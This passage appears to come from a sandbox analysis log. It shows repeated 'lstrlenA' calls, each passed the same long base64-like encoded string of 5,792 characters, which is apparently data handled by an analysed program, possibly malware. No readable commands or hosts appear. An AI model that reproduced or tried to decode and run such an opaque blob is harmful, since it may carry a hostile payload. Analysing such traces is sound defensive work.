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") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA (lpString="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